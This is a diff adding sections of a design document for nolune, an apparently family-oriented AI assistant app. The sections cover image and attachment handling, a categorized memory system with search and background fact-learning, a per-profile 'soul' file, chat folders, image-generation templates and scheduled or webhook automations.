+ output (each after an `Image: <path>` line), and deletes the folder. Not markers in stdout: output is
607
+ cut at 30 KB, and `cat`-ing a file that contains one would attach an image nobody asked for.
608
+ - **Preparing** (`packages/core/src/images.ts`). JPEG, PNG, GIF and WebP up to 2000 px and 1.5 MB are
609
+ sent as they are; JPEGs lose their EXIF and XMP segments (GPS positions, and an orientation that
610
+ browsers apply but the model ignores). Everything else is converted with `sips` on macOS or
611
+ ImageMagick elsewhere: at most 2000 px, turned upright, PNG when the source was PNG, GIF or WebP
612
+ unless that's over 1.5 MB, otherwise JPEG. PDFs are refused.
613
+ - **Why 2000 px**, although newer models take 2576: a request with more than 20 images, the history
614
+ included, rejects any image over 2000 px. History is never edited, so a larger image would break
615
+ the conversation for good once it holds 21.
616
+ - **Limits.** 10 images per command, and 100 per conversation counting attached pictures (the API's
617
+ limit on 200k-context models, and every request carries the whole history). Past a limit
618
+ `nolune view` fails with an explanation; nothing is dropped silently.
619
+ - **Uploaded, not inline.** The gateway uploads each image through the Files API (see
620
+ [Attachments](#attachments)) and the `tool_results` row refers to it by `file_id`, so the history
621
+ doesn't resend the bytes. Only if the upload fails does the image go inline as base64, and the
622
+ conversation's inline images are capped at 20 MB, since a request is capped at 32 MB.
623
+
624
+ ## Attachments
625
+
626
+ People attach files in the composer: the paperclip button, pasting, or dropping them on it. Any
627
+ kind of file, up to 100 MB each (the same as pictures in replies) and 10 per message.
628
+
629
+ - **Uploaded when attached.** Each file streams to `POST /api/p/<profile>/uploads` as soon as it's
630
+ added, into the media store, with an `upload` row. Sending the message then carries only the
631
+ upload ids, and only the person who attached a file can send it. Uploads never sent are dropped
632
+ after a day. `nolune start` raises adapter-node's 512 KB body limit for this; `hooks.server.ts`
633
+ keeps a 1 MB limit on every other route, including the public ones that read a body first.
634
+ - **Saved for the agent.** On send, each file is copied into `profiles/<slug>/attachments/` under
635
+ its own name (`name (2).ext` when another file has it), gets a media row so the chat shows it (see [Pictures and files](#pictures-and-files)), and the message's content gets, per file, a line saying who
636
+ attached it and where it was saved, then the file itself when the model can have it:
637
+ - **pictures** go through `prepareImage` (converted, at most 2000 px, upright) and become an
638
+ `image` block referring to those bytes, kept in the media store;
639
+ - **PDFs** become a `pdf` block referring to the file, after a free `count_tokens` call that
640
+ checks the model can read it and says what it costs;
641
+ - **other files**, text included, are only named, and the agent opens them with commands.
642
+ - **Limits, because history is never edited.** A file the API refuses would fail every later
643
+ request, so pictures count against the 100 per conversation, and a conversation's PDFs share
644
+ 25% of the model's context window (about 250k tokens on 1M-context models, 50k on 200k ones;
645
+ well under the API's 600 and 100 pages). A PDF over the rest of that budget, or one
646
+ `count_tokens` rejects, is sent as its path with the reason in its line, and the chat shows the
647
+ same note under the file.
648
+ - **By reference.** A message keeps a picture or PDF as a `media` source: the SHA-256 of the
649
+ bytes the model gets (a converted picture's own), which the media store keeps while a message
650
+ refers to it. Before each model call, `resolveFiles` (`provider-files.ts`) gives the provider its
651
+ copy: the Files API's `file_id`, or the bytes inline for the Claude plan. So a chat that
652
+ switches providers takes its pictures along, and the first call on the new one uploads them.
653
+ The same rows always give the same request. An upload that fails at that point fails the call
654
+ (Continue tries again), never falling back to base64, which would change the prefix later.
655
+ - **Files API.** Uploaded once per content and account, and first when the file is attached, so
656
+ a problem shows then: `provider_file` maps provider, a hash of the API key (files live in its
657
+ workspace) and the content's SHA-256 to the `file_id`. Requests stay small whatever the history
658
+ holds, and a reference is part of the cached prefix like any other block. When attached, a
659
+ cached id is checked (one metadata request) and the file uploaded again if it's gone; later
660
+ requests take the cached copy as it is, since checking every picture would cost a request
661
+ apiece. The hourly prune deletes files no message refers to any more (by id, or by what it's a
662
+ copy of), leaving those used in the last hour and those in another key's workspace alone. With
663
+ another workspace's key, a chat's pictures are uploaded again, at the cost of one cache miss.
664
+ The Files API isn't eligible for zero data retention. Pictures and PDFs from before nolune kept
665
+ its own copies are stored with the provider's `file_id` and can't move to another provider or
666
+ workspace.
667
+ - **Other providers.** `message.attachments` is the provider-neutral record (saved path, type,
668
+ what the model got). `content` holds nolune's blocks (see [nolune's format](#nolunes-format)), and each
669
+ provider's module turns them into its request. A provider brings a `FileStore`
670
+ (`provider-files.ts`); one without a files API sends pictures inline (PDFs too on the Claude
671
+ plan, and as their path on the ChatGPT plan). OpenAI's is its
672
+ Files API: pictures are uploaded for `vision` and PDFs as `user_data`, and a PDF's cost is
673
+ counted with `POST /v1/responses/input_tokens`, which also fails for a PDF it can't read.
674
+ - **OpenRouter's** is its Files API (in beta), which takes pictures and PDFs alike and keeps them
675
+ in the key's workspace without expiring. It answers OpenAI's SDK in OpenAI's shape, missing
676
+ files included, so its store is OpenAI's on OpenRouter's client. It can't count a PDF's tokens,
677
+ so they're estimated from its pages as on the Claude plan, before it's uploaded. Unlike
678
+ Anthropic's and OpenAI's, many of its models are text only, and a picture sent to one would
679
+ fail every later request. So `modelInputs` asks OpenRouter's model list first (`image` and
680
+ `file` among its `input_modalities`): a picture goes only to a model that sees pictures, and a
681
+ PDF only to one that reads PDFs itself, since for the others OpenRouter would run it through a
682
+ paid OCR service at every request, each one carrying the whole history. Otherwise the file goes
683
+ as its path with the reason (`… can't see pictures`), and `nolune view` says the same in the
684
+ command's result. When the list can't be read, the file goes as its path too.
685
+ - **Custom providers** have no Files API, and nothing says which of a server's models take
686
+ pictures or PDFs, so every one goes as its path, with that reason; the agent can still open the
687
+ file with its commands.
688
+
689
+ ## Memory
690
+
691
+ Each profile's memory is a folder of short Markdown notes, `~/.nolune/profiles/<slug>/memories`,
692
+ in fixed categories (`plans.md`, `people/anna.md`). There is no memory tool: like automations and
693
+ `nolune view`, it is files plus a CLI command, so it works the same with any model provider.
694
+
695
+ - **Categories** (`packages/core/src/memory-categories.ts`), like Claude's memory has, so every
696
+ fact has one obvious place and the Memory page reads the same in every family: `core` (pinned),
697
+ `people/<name>` (a note per person, in the family or not: grandparents, the nanny, the dentist),
698
+ `home`, `health`, `plans`, `routines`, `pets`, `places`, `projects` and `projects/<name>`, and
699
+ `other`. Before, the agent named topics itself and memory drifted: `family`, `kids` and
700
+ `people/mia` all held facts about Mia. The agent's prompt and the note-taker's list them with
701
+ what goes in each. `nolune memory add` (and the note-taker, and imports) refuse any other note,
702
+ saying where things go; `write` refuses to start one, and `mv` to rename into one. A note from
703
+ before the categories stays readable and editable, listed as Unsorted, until someone moves it
704
+ into one; the agent is told to sort one when it works with it.
705
+ - **People.** A person's note is titled with their name and, when it's known, says who they are
706
+ to the family and what else they are called: `- Who: Anna's grandmother`,
707
+ `- Also called: grandma, бабушка` (`Зовут:`, `auch genannt:` and the other languages' labels
708
+ are read too). Search counts the title and those names as the note's own words, so "бабушка"
709
+ finds what `people/olga` says. An "Also called" that names no one new (the note's own title,
710
+ as a model wrote for a new member) is taken as a fact the note has already.
711
+ - **Members' notes** (`packages/core/src/memory-people.ts`, `profile_member.person_note`). Each
712
+ member of the profile has their note, so nolune knows who "I" is in a message, what to look up for
713
+ them, and where what they say about themselves goes. The agent's prompt and the note-taker's
714
+ input list the members with their notes (`- Anna Smith: people/anna`). When someone is added
715
+ and memory may know them already (a note whose name, title or other names match theirs, in any
716
+ alphabet: Ольга is Olga, and a letter apart when long enough: Yulia, Yulya), whoever adds them
717
+ is asked which note is theirs, with what each says and a warning that the new member will read
718
+ it, since it was written without them; it is never linked without asking. With nothing
719
+ matching, the note their facts will start (`people/<first name>.md`, or longer if that's taken)
720
+ is kept for them, and members from before get theirs the same way, or are asked in the
721
+ profile's settings, where anyone can also change it. Recall lifts facts about the sender by any
722
+ name their note calls them.
723
+ - **Merging** (`nolune memory merge <from> <into>`, or Move on the Memory page onto a note that's
724
+ there already): what one note says goes into the other, under the same headings, without what
725
+ it says already, with the dates its facts were learned; into a person's note, the other note's
726
+ title and names join its "Also called". Two members' notes are never merged. Moving or merging
727
+ a note takes along its member and the note-taker's changes in it (Undo still works); a note
728
+ moved into `people/` from elsewhere is titled with the person's name.
729
+ - **In the prompt:** a short Memory section with the categories, the members and their notes,
730
+ and the names of the notes as they were when the conversation started
731
+ (`Other notes when this conversation started: home, plans, people/anna.`); it says how to look
732
+ things up and save them, and what is worth saving. Only names, never facts, so the
733
+ prompt changes when a note is added or removed and not with every fact, and nothing is read
734
+ until the agent needs it: whenever a request could depend on something the family said before,
735
+ also later in a chat when the subject changes, it searches (`nolune memory search dentist`) or
736
+ reads whole notes (`nolune memory show people/anna plans`). Guessing from note names alone missed facts
737
+ kept under a name that didn't suggest them, like the wifi password in `home`.
738
+ - **Pinned core note.** `core.md` is the exception: a copy of it, as it is when the conversation
739
+ starts (or its prompt is built again), goes whole into the Memory section. It is for what matters
740
+ in almost every chat (who is in the family, languages, allergies, standing preferences, whatever
741
+ someone asks nolune to always keep in mind), and holds at most 4,000 characters: `nolune memory` and
742
+ the page refuse more, and one made longer in an editor is cut at a line in the prompt, with a
743
+ note telling the agent to read the rest and move it out. The list of other notes leaves it out.
744
+ - **Recall** (`recallFor` in `packages/core/src/memory-search.ts`): when a person's message is
745
+ queued, or an automation's run starts, memory is searched for its words, and up to 8 facts
746
+ (2,000 characters) that match go along with it in a `<memory>` block after the message, for the
747
+ model only (the chat shows what was written). It sits in the new message, never in the system
748
+ prompt, so the cached prefix doesn't change. Facts the conversation already has, in its system
749
+ prompt (core) or in any message or command output (a note the agent printed, an earlier
750
+ recall), are left out, so each comes once per chat. The sender's name (and their note's name,
751
+ title and other names) only lifts facts that match anyway (Anna's "what do I like?" puts "Anna likes tea" above "Ben likes coffee"), so it
752
+ doesn't bring up everything about them with every message. Anything going wrong costs the
753
+ recall, never the message.
754
+ - **Search** (`rankFacts`): no index and no model, so the notes stay the only copy and it works the
755
+ same with every provider and offline. Every fact of every note is scored against the words of
756
+ the query: lower case and without accents, words of 3 letters only whole, longer ones by their
757
+ start (the first three quarters, at least 4 letters: "allergic" finds "allergies", "вайфая"
758
+ finds "вайфай"), and starts of 6 letters or more anywhere in a word, for compounds
759
+ ("Zahnarzt" finds "Kinderzahnarzt"). Short lists of words that say nothing, in the interface's
760
+ five languages, are left out. A word counts by how rare it is in memory (like BM25's IDF), and
761
+ one in more than 40% of a memory of 10 facts or more doesn't count at all. A word only in the
762
+ fact's note name or heading (or a person's note's title and other names) counts half, so "Anna"
763
+ finds what `people/anna` says. Recall keeps
764
+ facts scoring at least 30% of the best one.
765
+ - **Search by meaning** (`packages/core/src/memory-embeddings.ts`): words miss questions that
766
+ share none with the fact that answers them ("where's the other key for the car?") and ones in
767
+ another language than the notes. So search and recall also compare embeddings, from any
768
+ OpenAI-compatible embeddings API (the OpenAI SDK, loaded on first use). nolune sets it up itself:
769
+ with an OpenAI key, OpenAI's `text-embedding-3-small`; else with an OpenRouter key, the same
770
+ model through OpenRouter; else none, and words do it all. `nolune config set embeddings`, or
771
+ Memory search under Models & keys, picks another model (`openai/…`, `openrouter/…`), turns it
772
+ `off` (every fact goes to that provider to be embedded, whatever model the chats run on), or
773
+ takes a model of a custom provider that speaks OpenAI's API (`custom-openai/<id>/<model>`),
774
+ like Ollama, LM Studio or oMLX on this computer, for anyone who wants it local. Each fact is
775
+ embedded with its note and heading (`people/anna › Allergies: peanuts`) and kept in a hidden
776
+ `.embeddings.json` with the model's name, so only new or changed facts are embedded again,
777
+ and a new model starts over. The gateway embeds in the background: every profile's facts when
778
+ it starts, what the note-taker added, and whatever a search finds missing (a fact is found by
779
+ words until then); a `nolune` command in a terminal never waits for that. A message waits only
780
+ for its own embedding, at most 3 seconds (10 for `nolune memory search`), and anything going wrong
781
+ leaves words to do it alone, logged once in 10 minutes. Automation runs recall by words only,
782
+ since they start at once.
783
+ - **What counts as a match by meaning:** models differ in how similar anything looks, so there is
784
+ no fixed cutoff. A fact counts when its similarity stands out from the rest of memory: its
785
+ distance from the median over the median absolute deviation (×1.4826), at least 4.5 for recall
786
+ and 3.5 for search, which the agent reads with judgement. Measured on 40 facts with
787
+ EmbeddingGemma through a plain server: what a question was about stood out by 5.0 to 10.0
788
+ (also two facts at once, which a mean and standard deviation hide from each other), messages
789
+ about none of them ("thanks!", "convert this PDF") by 3.2 at most. It needs at least 10 facts
790
+ with embeddings. The two lists, words and meaning, are merged by reciprocal rank fusion
791
+ (constant 10). Still missed: what only follows from a fact, like "what should we cook?" and "Anna
792
+ is vegetarian" (3.2).
793
+ - **Learning from chats** (`packages/core/src/memory-learning.ts`): the agent saves what it learns
794
+ when it thinks of it, and facts said in passing got lost. So once a chat's loop has ended and
795
+ nothing ran in it for 2 minutes (the gateway's scheduler starts the timers, and after a restart
796
+ gives chats active in the last day theirs), the chat's own model (`quickReply`, so plans work
797
+ too) looks over what was said since last time (`conversation.learned_seq`): people's messages,
798
+ with the names of attached files, and the text of nolune's replies, never commands, their output
799
+ or an automation's message, so a web page, an email or a webhook can't write to memory. It gets
800
+ the two messages before, for context, today's date, the members with their notes, and the
801
+ notes: core, then the ones with
802
+ facts matching the conversation, then the most recently changed, whole up to 20,000 characters
803
+ and the rest by name. It answers with a JSON array of at most 10 changes, usually `[]`:
804
+ `add` (with `under`, the heading the fact belongs under, started at the end of the note when
805
+ it has none, since appending to the end put a lake house under "Car") and `replace` (with
806
+ text, never empty). It can't remove anything: in a live test, a model deleted the old wifi
807
+ password without saving the new one, so a fact that stopped being true is replaced with what
808
+ is true now, and removing stays with people and the agent. The changes go through the same
809
+ functions as `nolune memory`, so they are dated and refused alike (a full core note, text that
810
+ isn't there). An `add` of several lines is a fact a line, each with its own Undo: a model sent
811
+ a new person's Who, Also called and favorite games as one, which was joined into one bullet.
812
+ `nolune memory add` splits a quoted list the same way. One look at a time per
813
+ profile, so two chats ending together don't save the same fact. A stretch is read once: a
814
+ failed model call leaves it for next time, a reply without usable JSON doesn't. Hidden chats
815
+ (background runs nobody continued, subagents) are skipped, and so is a stretch without a
816
+ person's message. Each profile can turn it off on its Memory page or with
817
+ `nolune memory learning off` (`profile.learn_from_chats`, on by default). It costs one short call
818
+ to the chat's model per quiet spell, on a plan the plan's usage.
819
+ - **What it saved shows** (`packages/core/src/memory-changes.ts`), since people should see what
820
+ goes into memory without their asking. Each change is a `memory_change` row: the chat, the
821
+ last message it read, the note, and the whole lines the change left there (and, for a
822
+ replace, the lines before). The chat shows them after that message as a folded "Saved 3
823
+ memories" row, live (a `memory` event, and in the snapshot), each fact with its note and
824
+ Undo; the Memory page lists the last two weeks' at the top, with the chat each came from.
825
+ Undo puts back exactly those lines: an added fact goes (with the note it started, once
826
+ nothing is left in it), a replaced one reads as before and keeps its old date (the fact index
827
+ remembers facts that just left). When those lines aren't in the note once any more, someone
828
+ changed them since, and it says so instead. None of it goes to the model: the chat's
829
+ transcript, and its prompt cache, stay as they were.
830
+ - **`nolune memory`** (`packages/cli/src/memory.ts`, on top of `packages/core/src/memory.ts`): `list`,
831
+ `search <words>...` (every note's facts that match, best first, as `path:line fact (heading)`),
832
+ `show <topic>...`, `add <topic> <fact>` (one bullet; creates the note, skips a fact it already
833
+ has), `replace <topic> <old> <new>` (text that appears exactly once), `forget <topic> <text>` (the
834
+ one line containing it), `write <topic>` (the whole note, from stdin), `rm`, `mv`, `merge` and
835
+ `learning [on|off]`. `list` also says whose note each member's is. Topics are paths inside the folder; `..`, names starting with a dot and
836
+ symbolic links are refused. Notes are written atomically and hold at most 50,000 characters.
837
+ The agent can also edit the files directly; `nolune memory` is preferred because it dates each
838
+ fact.
839
+ - **What goes in:** one fact per bullet, updated rather than repeated. Secrets such as passwords
840
+ and door codes are allowed when someone asks: a profile is only shared by people who trust each
841
+ other, and models tend to refuse them in memory unless told so. The exception is something one
842
+ member wants kept from the others (a surprise), since every member can read the memory.
843
+ - **Older conversations** keep their frozen prompt, which has the old `MEMORY.md` pasted in.
844
+ Whenever a `MEMORY.md` shows up in the profile folder (the old file on the first use, or one an
845
+ older chat writes later), it is moved into the folder as `general.md` (or `general-2.md`, …).
846
+ - **Fact dates.** Every list item, paragraph or table row in a note is a fact, and a hidden
847
+ `.facts.json` in the folder records when each was first seen (matched by its words, ignoring
848
+ case and spacing). `nolune memory` and the page update it with each change; facts that reached the
849
+ files some other way are dated by their file's modification time, and whatever was in memory
850
+ before dates were kept has none. A fact that moves to another file, or leaves one and comes
851
+ back, keeps its date. Names starting with a dot are reserved, so `nolune memory` can't touch it.
852
+ - **Imported** from another assistant on a new profile's welcome, dated as that assistant
853
+ remembered them: see [Welcome](#welcome).
854
+ - **Memory page** (`/p/<slug>/memory`): the switch for learning from chats, then a grid of dots,
855
+ one row per note and one dot per fact, oldest on the left. A dot's shade is its age: black today
856
+ (with a halo), fading to light grey over about three months, and lightest when undated. Rows
857
+ follow the categories, each in the family's language; notes in a folder are grouped under its
858
+ name, members' first (with their avatar), then by the latest change; notes from before the
859
+ categories come last, as Unsorted. Past 12 rows the rest fold away. Pointing at (or
860
+ tapping) a dot shows the fact and when it was learned. Below the grid, **Saved from chats** lists
861
+ what the note-taker saved in the last two weeks (four, then Show all), each with its note (which
862
+ scrolls to its card), the chat it came from, when, and Undo. Then every note is rendered as
863
+ Markdown and can be edited, moved (into a category, onto a person's or project's note, or a new
864
+ one; onto one that's there already, it's a merge) or forgotten. The core note comes first, marked as pinned, even before
865
+ it exists, so people can start it there; its editor counts characters against the limit. An edit
866
+ is refused if the agent changed the note after it was opened; saving again then replaces the
867
+ agent's version.
868
+
869
+ ## Soul
870
+
871
+ Each profile can give nolune a soul, like [SOUL.md](https://soul.md): who it is for this family (its
872
+ character, values, tone and boundaries) rather than facts about them, which go into memory. It is
873
+ `~/.nolune/profiles/<slug>/soul.md`, trimmed, at most 4,000 characters
874
+ (`packages/core/src/soul.ts`).
875
+
876
+ - **In the prompt:** a "Your soul" section right after the first line, with the text in
877
+ `<soul>…</soul>`, so it frames everything after it; the rest of the prompt still applies.
878
+ Without one, the section says there is none yet and how to start it. A file made longer in an
879
+ editor is cut at a line, with a note to shorten it.
880
+ - **Changes reach open chats:** each conversation keeps the soul its prompt was built with
881
+ (`conversation.soul`). At the start of a turn (never in the middle of one), if the profile's soul
882
+ differs, the prompt is built again, like when the folder changes (`withCurrentContext` in
883
+ `runner.ts`, one cache miss). Chats from before souls existed have `''`, so they are left alone
884
+ until a profile gets one.
885
+ - **Who changes it:** the family, in the Soul box of the profile's settings (People & profile), and
886
+ the agent itself: the prompt tells it the soul is its to shape when someone asks it to be
887
+ different, to write the whole new text with `nolune soul write` (stdin), and to say what it
888
+ changed. `nolune soul` prints it and `nolune soul rm` removes it.
889
+
890
+ ## Folders
891
+
892
+ Folders group a profile's chats, like projects in ChatGPT: the chats in a folder share its
893
+ context, which the family sets on the folder's page (`/p/<slug>/f/<id>`).
894
+
895
+ - **What a folder has:** a name, instructions (up to 8,000 characters) and up to 50 files. Files
896
+ are uploaded like the composer's attachments, copied into `profiles/<slug>/folders/<folder>/`
897
+ (the folder's slug is fixed when it's made, like a profile's) and kept in the media store for
898
+ the page, which shows pictures and serves downloads from there, never from the copy.
899
+ - **In the prompt:** a `# Folder` section at the end of the system prompt, after the skills, so
900
+ everything before it is the same as in the profile's other chats: the folder's name, its
901
+ instructions, and one line per file with its path, type and size. Pictures and documents are
902
+ not attached; the agent opens the ones that matter with commands and `nolune view`. A folder with
903
+ many files costs a few lines per chat, and nothing counts against the conversation's picture
904
+ and PDF limits.
905
+ - **Starting in a folder:** the composer on the folder's page, or the folder chip in the new
906
+ chat composer (`?folder=<id>` preselects it), whose menu also makes a new folder.
907
+ - **Moving chats:** drag a chat onto a folder in the sidebar (its row, or its chats when it's
908
+ open), or onto the Chats list to take it out; or use "Move to folder" in a chat's menu (the
909
+ sidebar's or the chat header's). Moving only sets `conversation.folder_id`.
910
+ - **Dragging** (`src/lib/chat-drag.svelte.ts`) uses pointer events for a mouse or pen and touch
911
+ events for fingers, not the browser's drag and drop, so it works the same on phones. A mouse
912
+ drags after moving 4px; a finger after a 400 ms long press, and moving earlier scrolls the list
913
+ as usual. The row only moves up and down and stays inside the sidebar's list, which scrolls
914
+ near its edges. The chat leaves its place, and the group under it opens a gap where it will
915
+ land: groups are ordered by recent activity, so that's its place in that order, not wherever
916
+ the pointer is. Holding it over a closed folder for a moment opens the folder; dropping on a
917
+ closed folder's row slides the chat into it. Escape puts it back. On touch screens a blocking
918
+ `touchmove` listener sits on the list from the start (the browser only waits for listeners
919
+ that were there when the touch began), and stops the scrolling once a chat is picked up.
920
+ - **The prompt follows the folder.** Each conversation stores the folder section its prompt was
921
+ built with (`folder_context`). At the start of every model call the runner renders the section
922
+ the chat should have now (its folder's current name, instructions and files, or nothing) and,
923
+ if it differs, builds the whole system prompt again, so moving a chat, and editing a folder's
924
+ instructions or files, reaches its chats at their next message. Several edits between two
925
+ messages cost one rebuild. It waits while a turn is in progress (the last reply called a
926
+ command): the model is still working under the prompt it started with.
927
+ - **What a rebuild costs.** The system prompt is the start of the cached prefix, so the next call
928
+ reads the whole conversation again once (the chat marks it as a cache miss). It also
929
+ invalidates the thinking in earlier replies: a thinking block's signature records the prompt
930
+ it was made under, and Opus 5.5 and Fable 5.1 refuse it under another one (a 400 on accounts
931
+ created since 2026-08-31, and silently accepted on older ones). So the conversation remembers
932
+ its last row before the rebuild (`prompt_changed_at_seq`), and every later call sends the
933
+ replies up to it without their `thinking` and `redacted_thinking` blocks. Those are the oldest
934
+ blocks in the conversation, which the API allows to be left out, and they're left out the same
935
+ way on every call, so the prefix is stable again after the one miss. The stored rows stay as
936
+ they are.
937
+ - **Deleting a folder** moves its chats back to the Chats list (their prompts lose the folder at
938
+ their next message) and its files to `~/.nolune/trash/`. Removing one file deletes its copy
939
+ unless it changed since it was added.
940
+
941
+ ## Making pictures
942
+
943
+ The agent makes pictures with `nolune generate image`, a command like `nolune view`: no new tool, nothing
944
+ in the system prompt beyond the skills catalog. The built-in `generate-images` skill explains it,
945
+ how to write prompts, and how to run the Images page's messages.
946
+
947
+ - **Providers** (`packages/core/src/image-generation.ts`). Models are named `<provider>/<model>`
948
+ (`openai/gpt-image-2.5-flare`, the default; `nolune config set image-model`). Each provider is one
949
+ module with the same shape, registered in `PROVIDERS`: its key check, its qualities, how many
950
+ input pictures it takes and which formats, and `generate`. `openai.ts` is the only one today:
951
+ `/v1/images/generations` for a prompt, `/v1/images/edits` (multipart) when pictures are given,
952
+ with plain `fetch` rather than the SDK. OpenRouter, fal or Higgsfield would each add a module;
953
+ shapes (`square`, `portrait`, `landscape`, `auto`) are provider-neutral and each module maps them
954
+ to its own sizes.
955
+ - **Keys** live in `config.json` (`nolune key set openai` or Models & keys), with `OPENAI_API_KEY` as a
956
+ fallback, and are read by the CLI, so the gateway itself never calls the image API.
957
+ `OPENAI_BASE_URL` points it at a proxy or a compatible server, as in OpenAI's SDKs.
958
+ - **Input pictures.** PNG, JPEG and WebP are sent as they are (JPEGs without EXIF, which carries GPS
959
+ positions); other formats, sideways photos and files over 25 MB go through `nolune view`'s converter.
960
+ - **Output** goes to the profile's `images/` folder (or `--out`), and the command prints a `Saved
961
+ <path>` line per picture, which the agent shows with `![...](path)` like any other picture.
962
+ - It checks everything (key, options, input files) before saying it has started, and a request
963
+ times out after 5 minutes; the skill tells the agent to allow 300 s.
964
+
965
+ ### Templates and the Images page
966
+
967
+ The Images page (sidebar, `/p/<slug>/images`) is one grid of templates, like ChatGPT's; tabs
968
+ appear only when templates name more than one category. Opening one shows a sheet (from the
969
+ bottom on phones): its picture, title and description, and what to do next, which depends on the
970
+ template.
971
+
972
+ - **The sheet's buttons** depend on where the picture comes from: "Take a photo" (phones) and
973
+ "Choose a photo" for templates that start from a photo, "Start drawing" and "Use a photo of a
974
+ drawing" for those that start from a drawing, and "Try it" for the rest. Templates without
975
+ settings start the chat as soon as the picture has uploaded; there is nothing to fill in.
976
+ - **Templates with settings** go on to a sentence with a chip for each: "Make a [watercolor ⌃]
977
+ storybook page where the kid in [🖼 ⌃] [rides a dragon to school]." A choice is a chip that opens a
978
+ menu of the others (bits-ui's Select); where the template allows it (every Style and Theme), the
979
+ menu ends with "Custom…", which turns the chip into a field for the person's own choice, with ⌃
980
+ back to the list. Free text is an inline field, emoji are a chip that opens an emoji picker, and
981
+ the picture is a chip that picks another (for drawing templates, a menu: draw, or choose a photo
982
+ of a drawing). Punctuation right after a chip stays on its line, and "a" before one becomes "an"
983
+ when the choice starts with a vowel sound ("an origami sticker pack"), on the page and in the
984
+ message. Anything typed below the sentence is added to the prompt, and the shape is a chip next to
985
+ Generate.
986
+ - **The emoji picker** is [emoji-picker-element](https://github.com/nolanlawson/emoji-picker-element)
987
+ (search, categories, skin tones), in a popover under the chip: taps add emoji up to the
988
+ setting's `max`, one more pushes out the oldest, and ⌫ removes the last. Its data
989
+ (`emoji-picker-element-data`) is bundled and served by nolune rather than fetched from a CDN, and
990
+ the picker keeps it in IndexedDB after the first open. It's styled with nolune's colors in both
991
+ themes.
992
+ - **Drawing** is a full-screen canvas: pen with a size slider, eraser, colors, undo. It keeps the
993
+ strokes as fractions of the side, so it survives resizing, and ✓ exports a 1024×1024 PNG that
994
+ is attached like a photo.
995
+
996
+ Generate starts a new chat (default model, reasoning `low`) whose first message holds the picture
997
+ and the finished prompt; the model names the chat as usual. A text box below the grid ("Describe
998
+ an image", with the chat's paperclip) does the same with the person's own words.
999
+
1000
+ - **A template** is a folder with a `TEMPLATE.md`: YAML frontmatter (name for its card, `title` for
1001
+ its sheet, description, category, a Lucide `icon` and hex `color`, whether it needs a picture and
1002
+ whether that's a photo or a drawing (`image-source`), the default shape, its settings: `options`
1003
+ with a label and the `prompt` fragment each stands for (`custom: true` also takes a typed choice
1004
+ as it is, `custom: 'Style: {{style}}.'` says how it's worded, and typed text that matches a label
1005
+ is that option), free text, or `type: emoji` with a `max` (up to 4 by default), picked with a real
1006
+ emoji picker, and the `sentence` that shows them as chips), then the prompt: the instructions for
1007
+ the image model. `{{setting}}` is replaced by the choice, `{{#setting}}…{{/setting}}` is kept only
1008
+ when it has a value and `{{^setting}}…{{/setting}}` only when it doesn't; `{{image}}` is "the
1009
+ attached picture" when one was given, and `{{aspect}}` the chosen shape in words ("square (1:1)",
1010
+ empty for auto). A prompt that uses `{{aspect}}` says the shape where it wants ("a single
1011
+ {{aspect}} transparent sticker sheet"); others get "Make it square (1:1)." at the end. Options
1012
+ whose labels have no letters are their own value. A line that held only sections left out
1013
+ disappears. A square `cover.png|jpg|webp` next to it replaces the icon; the card's title sits over
1014
+ its bottom fifth. The built-in covers were made with the image model and shrunk to 768px WebP.
1015
+ - **Sources**, like skills: the 19 that ship with nolune (`packages/core/image-templates`),
1016
+ `~/.nolune/image-templates`, and the profile's `image-templates` folder; a later one
1017
+ overrides an earlier one with the same id.
1018
+ - **Applying a template just sends a prompt.** The message is the finished prompt, as the family
1019
+ reads it in the chat: the sentence with the choices' labels, the instructions with the
1020
+ choices' prompts, the shape in words, and what the person typed.
1021
+
1022
+ ```
1023
+ Make a watercolor storybook page where the kid in the attached picture rides a dragon to school.
1024
+
1025
+ A full-page children's picture-book illustration of the adventure.
1026
+ …
1027
+ Make it portrait (2:3).
1028
+
1029
+ Give the dragon a backpack.
1030
+ ```
1031
+
1032
+ The skill tells the agent to pass a detailed prompt like this unchanged on stdin (a heredoc,
1033
+ so quotes can't break the command), to turn "square (1:1)", "portrait (2:3)", "landscape
1034
+ (3:2)" and "transparent background" into flags, and to pass the attached pictures as
1035
+ `--image`. Templates are only the page's business: `nolune generate image` takes a prompt and
1036
+ pictures, whoever wrote them.
1037
+
1038
+ - **Pictures** go through the chat's attachments: they upload as soon as they're picked, and the
1039
+ message carries their ids, so the model sees each one with the path it was saved at in
1040
+ `attachments/` (see [Attachments](#attachments)); the skill passes that path as `--image`.
1041
+ Templates take only pictures.
1042
+
1043
+ ## Automations
1044
+
1045
+ Triggers run the agent without anyone sending a message. What they find goes to notifications, not
1046
+ into conversations.
1047
+
1048
+ - **Trigger** (per profile). _When_: a 5-field cron expression in the gateway's local time zone, a
1049
+ one-time `runAt`, or a webhook: `POST /api/hooks/<secret token>` with a JSON body (64 KB max;
1050
+ SvelteKit's cross-site check refuses form-encoded and text/plain bodies in production). _What_:
1051
+ a prompt for the agent, or a shell command that runs without the model. Script triggers make
1052
+ polling cheap: the script checks the email, the price or the page, and runs
1053
+ `nolune wake "<what happened>"` only when the agent is needed.
1054
+ - **Who sets them up:** the agent, with the `nolune trigger` command. There is no new tool and nothing
1055
+ in the system prompt beyond the skills catalog: the built-in `automations` skill explains
1056
+ `nolune trigger` and `nolune wake`, and is read only when someone asks for a reminder or a check. Members
1057
+ see, edit, run, pause and delete them on the profile's Automations page. There is no create form.
1058
+ - **The Automations page** is for the family, not the agent. Each trigger shows its `icon` and a
1059
+ one-sentence `summary` (written by the agent with `--summary` / `--icon`, like `run_command`'s),
1060
+ its schedule in plain words (`describeCron`: "Every weekday at 07:30"; the cron itself only with
1061
+ technical details on) and relative times ("next Monday at 07:30"). The prompt, script and webhook
1062
+ URL are behind Edit. Above the list, a month calendar (whole weeks, Monday first, `?month=`
1063
+ to page) shows an icon per trigger on each day and the chosen day's list below it: before now,
1064
+ what ran and how it went (agent runs, and failed scripts once a day; runs are kept 30 days, so
1065
+ it goes back no further), after now, what the schedule will run. A trigger firing more than 4
1066
+ times a day on average is listed once above the grid instead.
1067
+ - **Runs.** Every firing (schedule, webhook, `nolune wake`, Run now) inserts a `pending` row in
1068
+ `trigger_run`. The gateway's scheduler ticks every 5 s: it fires triggers whose `nextRunAt` has
1069
+ passed and starts pending runs. The CLI only writes rows, so `nolune wake` from a script is picked up
1070
+ within a tick. At most 3 agent runs go at once, a script trigger runs one at a time, and a
1071
+ scheduled firing is skipped while the trigger's previous run of the same kind is unfinished.
1072
